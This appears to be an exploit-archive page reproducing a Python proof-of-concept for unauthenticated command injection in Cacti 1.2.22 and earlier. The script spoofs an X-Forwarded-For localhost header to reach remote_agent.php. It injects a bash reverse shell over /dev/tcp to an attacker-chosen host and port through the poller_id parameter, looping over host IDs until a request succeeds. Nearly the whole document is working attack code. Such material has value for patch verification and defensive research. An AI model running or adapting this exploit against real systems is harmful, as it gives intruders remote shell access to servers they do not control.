4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import argparse
import requests
from bs4 import BeautifulSoup
import re
import sys

def main():
    parser = argparse.ArgumentParser(description='Cacti Unauthenticated Command Injection <= 1.2.22')
    parser.add_argument('--url', type=str, required=True, help='The URL of Cacti\'s instance')
    parser.add_argument('--lhost', type=str, required=True, help='Listening IP')
    parser.add_argument('--lport', type=int, required=True, help='Listening Port')
    args = parser.parse_args()

    # Check target version
    cacti_response = requests.get(args.url)
    cacti_html = cacti_response.text  # Get the HTML content of the page
    soup = BeautifulSoup(cacti_html, 'html.parser')
    cacti_version_str = soup.find(string=re.compile(r'cactiVersion=\'.*\''))
    match = re.search(r'\d+\.\d+\.\d+', cacti_version_str)
    if match:
        cacti_version_number = match.group()
        if cacti_version_number <= '1.2.22':
            print(f'Cacti version number {cacti_version_number} could be vulnerable, proceeding with exploit.')
            print(f'Prooceding with the exploit, check your netcat listener on port {args.lport}')
            
            # Payload, if this payload doesn't work for some reeason feel free to change it
            
            payload = f'; /bin/bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"'
            local_data_ids = [x for x in range(0, 10)]

            # If for some reason you are not getting a reverse shell, change the starting number in the range
            for id in range(1, 20):
                url = f'{args.url}/remote_agent.php'
                params = {'action': 'polldata', 'host_id': id,
                        'poller_id': payload, 'local_data_ids[]': local_data_ids}
                headers = {'X-Forwarded-For': '127.0.0.1'}
                r = requests.get(url, params=params, headers=headers)
                if r.ok:
                    print(f'Payload sent successfully to host id {id}')
                    break
        else:
            print(f'This {cacti_version_number} is not vulnerable, exiting.')
    else:
        print('Unable to find version.')

if __name__ == '__main__':
    main()
    sys.exit()